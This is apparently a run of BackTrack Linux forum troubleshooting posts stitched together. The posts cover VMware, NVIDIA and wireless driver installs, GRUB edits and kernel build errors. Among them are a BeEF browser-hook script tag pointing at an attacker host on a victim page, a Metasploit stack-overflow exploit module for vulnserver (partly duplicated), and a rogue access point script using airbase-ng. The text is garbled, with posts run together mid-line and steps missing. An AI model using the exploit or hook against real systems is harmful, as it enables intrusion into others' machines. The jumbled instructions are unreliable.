chmod +x VMware-Player-4.0.0-471780.x86_64.bundle
4. Install VMware-Player./VMware-Player-4.0.0-471780.x86_64.bundle
5. follow the default installation way to completion.cp-rf /usr/lib/vmware/modules/source /home/mugna/
7. if you want to uninstall vmware player by default type:root@bt:~# vmware-installer-u vmware-player
------------------------------------------------------------------------------chmod +x VMware-Workstation-Full-8.0.0-471780.x86_64.bundle
4. Unstall VMware-Workstation ./VMware-Workstation-Full-8.0.0-471780.x86_64.bundle
5. follow the default install way to completionmv /usr/lib/vmware/modules/source /usr/lib/vmware/modules/source.def
7.
Code:
mv /home/mugna/source /usr/lib/vmware/modules/
8.
Code:
vmware-modconfig console install-all
Zombie connected: Internet Explorer 6.0 - Windows NT 5.1
if I start the beef server on the attacker machine and on the victim's machine located on a different IP address (belonging to the same subnet) I create an HTML page which include
Code:
<script language="Javascript" src="http://192.168.0.attacker/beef/hook/beefmagic.js.php"></script>
then on the beef panel I CANNOT see any zoombies listed on the left but I can note that on the right side, in the Log Summary Panel it appears
Code:
Zombie connected: Internet Explorer 6.0 - Windows NT 5.1
I found a similar post here but it does not solve my problem.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'Vulnerable Server BOF',
'Description' => %q{
This module exploits a stack based overflow in vulnserver,
},
'Author' => 'Me'
'Version' => '$Revision: 1$',
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0d\x20\xad",
},
'Targets' =>
[
['Windows XP SP3',{'Ret'=> 0x625011af,}],
'DefaultTarget' => 0,
))
register_options([ Opt::RPORT(9999)],self.class)
end
def exploit
connect
header = "TRUN /.:/"
junk = make_nops(2003)
eip = [target.ret].pack('V')
nops = make_nops(20)
sploit = header + junk + eip + nops + payload.encoded
print_status("Trying #{target.name}...")
'Targets' =>
[
['Windows XP SP3',{'Ret'=> 0x625011af,}],
'DefaultTarget' => 0,
))
register_options([ Opt::RPORT(9999)],self.class)
end
def exploit
connect
header = "TRUN /.:/"
junk = make_nops(2003)
eip = [target.ret].pack('V')
nops = make_nops(20)
sploit = header + junk + eip + nops + payload.encoded
print_status("Trying #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end
And here is the error output when I am launching msfconsole:root@bt:~# cd /opt/framework/msf3/
root@bt:/opt/framework/msf3# ./msfconsole
(eval):328: warning: don't put space before argument parentheses
[-] WARNING! The following modules could not be loaded!
[-] /opt/framework/msf3/modules/exploits/windows/misc/vulnserver.rb: SyntaxError (eval):47:in `load_module_from_file': compile error
(eval):15: syntax error, unexpected tSTRING_BEG, expecting ')'
'Version' => '$Revision: 1$',
^
(eval):15: syntax error, unexpected tASSOC, expecting kEND
'Version' => '$Revision: 1$',
^
(eval):15: syntax error, unexpected ',', expecting kEND
(eval):16: syntax error, unexpected tASSOC, expecting kEND
'Platform' => 'win',
^
(eval):16: syntax error, unexpected ',', expecting kEND
(eval):17: syntax error, unexpected tASSOC, expecting kEND
(eval):20: syntax error, unexpected ',', expecting kEND
(eval):21: syntax error, unexpected tASSOC, expecting kEND
(eval):24: syntax error, unexpected tASSOC, expecting ']'
'DefaultTarget' => 0,
^
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
The Line "Don´t put spaces before argument parentheses" is pretty much self explaining but I keep getting the error after removing them.
[*] Nmap: 'nmap: relocation error: /lib/libnss_mdns4_minimal.so.2: symbol strlen, version GLIBC_2.0 not defined in file libc.so.6 with link time reference'
svn checkout http://quickset.googlecode.com/svn/trunk/ quickset
I am going to list the steps I have taken and in the order in which I took them. The end state of the problem is a segmentation fault within airbase-ng; I'm listing the steps I took so that you can narrow that out of your solutions if you have one. I am hoping that someone on this forum has the answer. If you respond to this post, I ask that you please post cohesive thoughts so that a solution is announced, not just needless jabber. Thank you for your time.airbase-ng -c $sac -e "$SSID" $pii &
I did this in the hopes that it would yield an error message while still allowing the script to continue; hence the ampersand. I had previously tried a variety of methods to evoke an error message, but was unsuccessful; evidently airbase-ng doesn't like to issue them out with regards to the at0 interface ./quickset.sh: line 1: 1866 Segmentation fault airbase-ng -c $sac -e "$SSID" $pii
4) I rewrote the airbase-ng and dhcp server part of the script so that i could launch them seperate and cancel DHCP out as a possible error cause. The most recent steps I have taken to narrow down the problem are:
Code:
./quickset.sh
# I used the same wireless card for both the internet connected NIC and external. One might think this would be a problem, but I tried it with different cards and the same end result. For testing purposes feel free and unhindered to use the same card
1) Wireless NIC set to wlan0
4) Monitor Mode NIC set to mon0
I then chose 8 and proceeded.
At the main menu I chose: 5) Routing Features
At Routing Features I chose: 2) Wireless Vaccuum
At Soft AP Parameters: I left everything defaulted except for AutoLaunch of the DHCP server, that I set to: No
# Setting AutoLaunch to no simply launches the AP and reverts back to the Routing Features menu...
At Method Selection I chose: 2) bullzeye--> Responds only to the specified ESSID
Roughly 3 minutes after creation, the at0 interface dies due to a segmentation fault.
eth0 Link encap:Ethernet HWaddr d0:67:e5:38:7b:b0
inet addr:78.221.132.242 Bcast:78.221.132.255 Mask:255.255.255.0
inet6 addr: fe80::d267:e5ff:fe38:7bb0/64 Scope:Link
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:1261 errors:0 dropped:0 overruns:0 frame:0
TX packets:1175 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1208091 (1.2 MB) TX bytes:125018 (125.0 KB)
Interrupt:20 Memory:e3900000-e3920000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:117 errors:0 dropped:0 overruns:0 frame:0
TX packets:117 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:15401 (15.4 KB) TX bytes:15401 (15.4 KB)
wlan0 Link encap:Ethernet HWaddr 24:77:03:0f:18:d8
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
00:19.0 Ethernet controller: Intel Corporation 82579LM Gigabit Network Connection (rev 04)
03:00.0 Network controller: Intel Corporation Centrino Ultimate-N 6300 (rev 35)
airmon-ngInterface Chipset Driver
eth0 Link encap:Ethernet HWaddr d0:67:e5:38:7b:b0
inet addr:78.221.132.242 Bcast:78.221.132.255 Mask:255.255.255.0
inet6 addr: fe80::d267:e5ff:fe38:7bb0/64 Scope:Link
UP BROADCAST RUNNING MTU:1500 Metric:1
RX packets:1261 errors:0 dropped:0 overruns:0 frame:0
TX packets:1175 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1356696 (1.3 MB) TX bytes:138925 (138.9 KB)
Interrupt:20 Memory:e3900000-e3920000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:292 errors:0 dropped:0 overruns:0 frame:0
TX packets:292 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:42953 (42.9 KB) TX bytes:42953 (42.9 KB)
No more wlan0
msf > db_nmap -sS -A target.com[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-07 16:35 BRT[*] Nmap: 'nmap: relocation error: /lib/libnss_mdns4_minimal.so.2: symbol strlen, version GLIBC_2.0 not defined in file libc.so.6 with link time reference'
apt-get update
apt-get dist-upgrade
apt-get autoremove
--- prepare kernel sources:prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/
ln -s /usr/src/linux /lib/modules/2.6.39.4/build
apt-get install linux-headers
ln -s /usr/src/linux-headers-2.6.39.4/Module.symvers /usr/src/linux-source-2.6.39.4/Module.symvers
--- buil and install drivers:cd /usr/src/
wget http://linuxwireless.org/download/compat-wireless-2.6/compat-wireless-2011-10-06.tar.bz2
tar jxpf compat-wireless-2011-10-06.tar.bz2
wget http://www.backtrack-linux.org/2.6.39.patches.tar
tar xpf 2.6.39.patches.tar
cd compat-wireless-2011-10-06
patch -p1 < ../patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
patch -p1 < ../patches/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < ../patches/zd1211rw-2.6.28.patch
patch -p1 < ../patches/ipw2200-inject.2.6.36.patch
make
make install
-- I don't want udev persistent rules on my cards...mv /lib/udev/write_net_rules ~
mv /etc/udev/rules.d/70-persistent-net.rules ~
-- unplug AWUS036NHR and any other if presentreboot
-- test it: (I have two wlan, wlan1 is ALFA AWUS036NHR, wlan0 is the one I'll use to determine which attacks it supports)iwconfig
-- plug AWUS036NHRiwconfig
airmon-ng check kill
airmon-ng start wlan0
airmon-ng start wlan1 (just to be shure it works even in monitor mode)
aireplay-ng -9 -i mon0 wlan1
--I get:WARNING: Symbol version dump /usr/src/linux-source-2.6.39.4/Module.symvers
is missing; modules will have no dependencies and modversions.
feel free to check if it is ok
apt-get install pyqt-tools
root@bt:~# prepare-kernel-sources
Code:
root@bt:~# cd /usr/src/linux
Code:
root@bt:~# cp -rf include/generated/* include/linux/
To install NVIDIA driver, of course, you must disable the Kernel Nouveau. Ok, lets start it from beginning.root@bt:~# echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf
Code:
root@bt:~# update-initramfs -u
4. rebootctrl + alt + F1
kill X sessionctrl + C
6. Install the NVIDIA driverroot@bt:~# sh NVIDIA-Linux-x86-280.13.run --kernel-source-path /usr/src/linux-sourve-2.6.39.4
7. Reboot your backtrack 5
text splash vga = 791--
to
Code:
text splash nomodeset vga=791 radeon.modeset=0
and pressed enter. From there once I reached the command screen, I entered
Code:
vim /etc/default/grub
scrolled to the line
Code:
GRUB_CMDLINE_LINUX_DEFAULT="text splash nomodeset vga=791"
and changed it to
Code:
GRUB_CMDLINE_LINUX_DEFAULT="text splash nomodeset vga=791 radeon.modeset=0"
Hit esc, held shift and pressed :, pressed x and enter, and finally "update-grub"./usr/sbin/grub-probe: error: cannot find a device for / (is /dev mounted?).
Regardless of this I still tried to then use startx. I did get further than usual and I was able to see a screen with the red backtrack background, and it had a black box in the center which said loading and also had four chinese (japanese?) characters. After roughly 20-30 seconds the screen would go blank and hang until I eventually would turn off the computer.
x_org_log.zip
(6.6 KB)
root@bt:~# lspci -vnn | grep 14e4
03:00.0 Network controller [0280]: Broadcom Corporation BCM4313 802.11b/g/n Wireless LAN Controller [14e4:4727] (rev 01)
and this :root@bt:~# sudo apt-get --reinstall install bcmwl-kernel-source
but it's give me this:Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
bcmwl-kernel-source
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 896kB of archives.
After this operation, 2,867kB of additional disk space will be used.
Get:1 http://64.repository.backtrack-linux.org/ revolution/main bcmwl-kernel-source 5.60.48.36+bdcom-0ubuntu3 [896kB]
Fetched 896kB in 1min 26s (10.4kB/s)
debconf: unable to initialize frontend: Dialog
debconf: (Dialog frontend requires a screen at least 13 lines tall and 31 columns wide.)
debconf: falling back to frontend: Readline
Selecting previously deselected package bcmwl-kernel-source.
(Reading database ... 250496 files and directories currently installed.)
Unpacking bcmwl-kernel-source (from .../bcmwl-kernel-source_5.60.48.36+bdcom-0ubuntu3_amd64.deb) ...
Setting up bcmwl-kernel-source (5.60.48.36+bdcom-0ubuntu3) ...
Loading new bcmwl-5.60.48.36+bdcom DKMS files...
First Installation: checking all kernels...
Building only for 2.6.39.4
Building for architecture x86_64
Building initial module for 2.6.39.4
Error! Bad return status for module build on kernel: 2.6.39.4 (x86_64)
Consult the make.log in the build directory
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/ for more information.
dpkg: error processing bcmwl-kernel-source (--configure):
subprocess installed post-installation script returned error exit status 10
Errors were encountered while processing:
bcmwl-kernel-source
E: Sub-process /usr/bin/dpkg returned an error code (1)
and when i try to read the log file i don't understand any of it :DKMS make.log for bcmwl-5.60.48.36+bdcom for kernel 2.6.39.4 (x86_64)
Tue Oct 4 19:51:04 EET 2011
make: Entering directory `/usr/src/linux-source-2.6.39.4'
WARNING: Symbol version dump /usr/src/linux-source-2.6.39.4/Module.symvers
is missing; modules will have no dependencies and modversions.
LD /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/built-in.o
CC [M] /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/shared/linux_osl.o
CC [M] /var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.o
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c: In function _wl_set_multicast_list:
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1435: error: struct net_device has no member named mc_list
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1435: error: struct net_device has no member named mc_count
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1436: error: dereferencing pointer to incomplete type
/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.c:1442: error: dereferencing pointer to incomplete type
make[1]: *** [/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build/src/wl/sys/wl_linux.o] Error 1
make: *** [_module_/var/lib/dkms/bcmwl/5.60.48.36+bdcom/build] Error 2
make: Leaving directory `/usr/src/linux-source-2.6.39.4'
any help here i will thankful.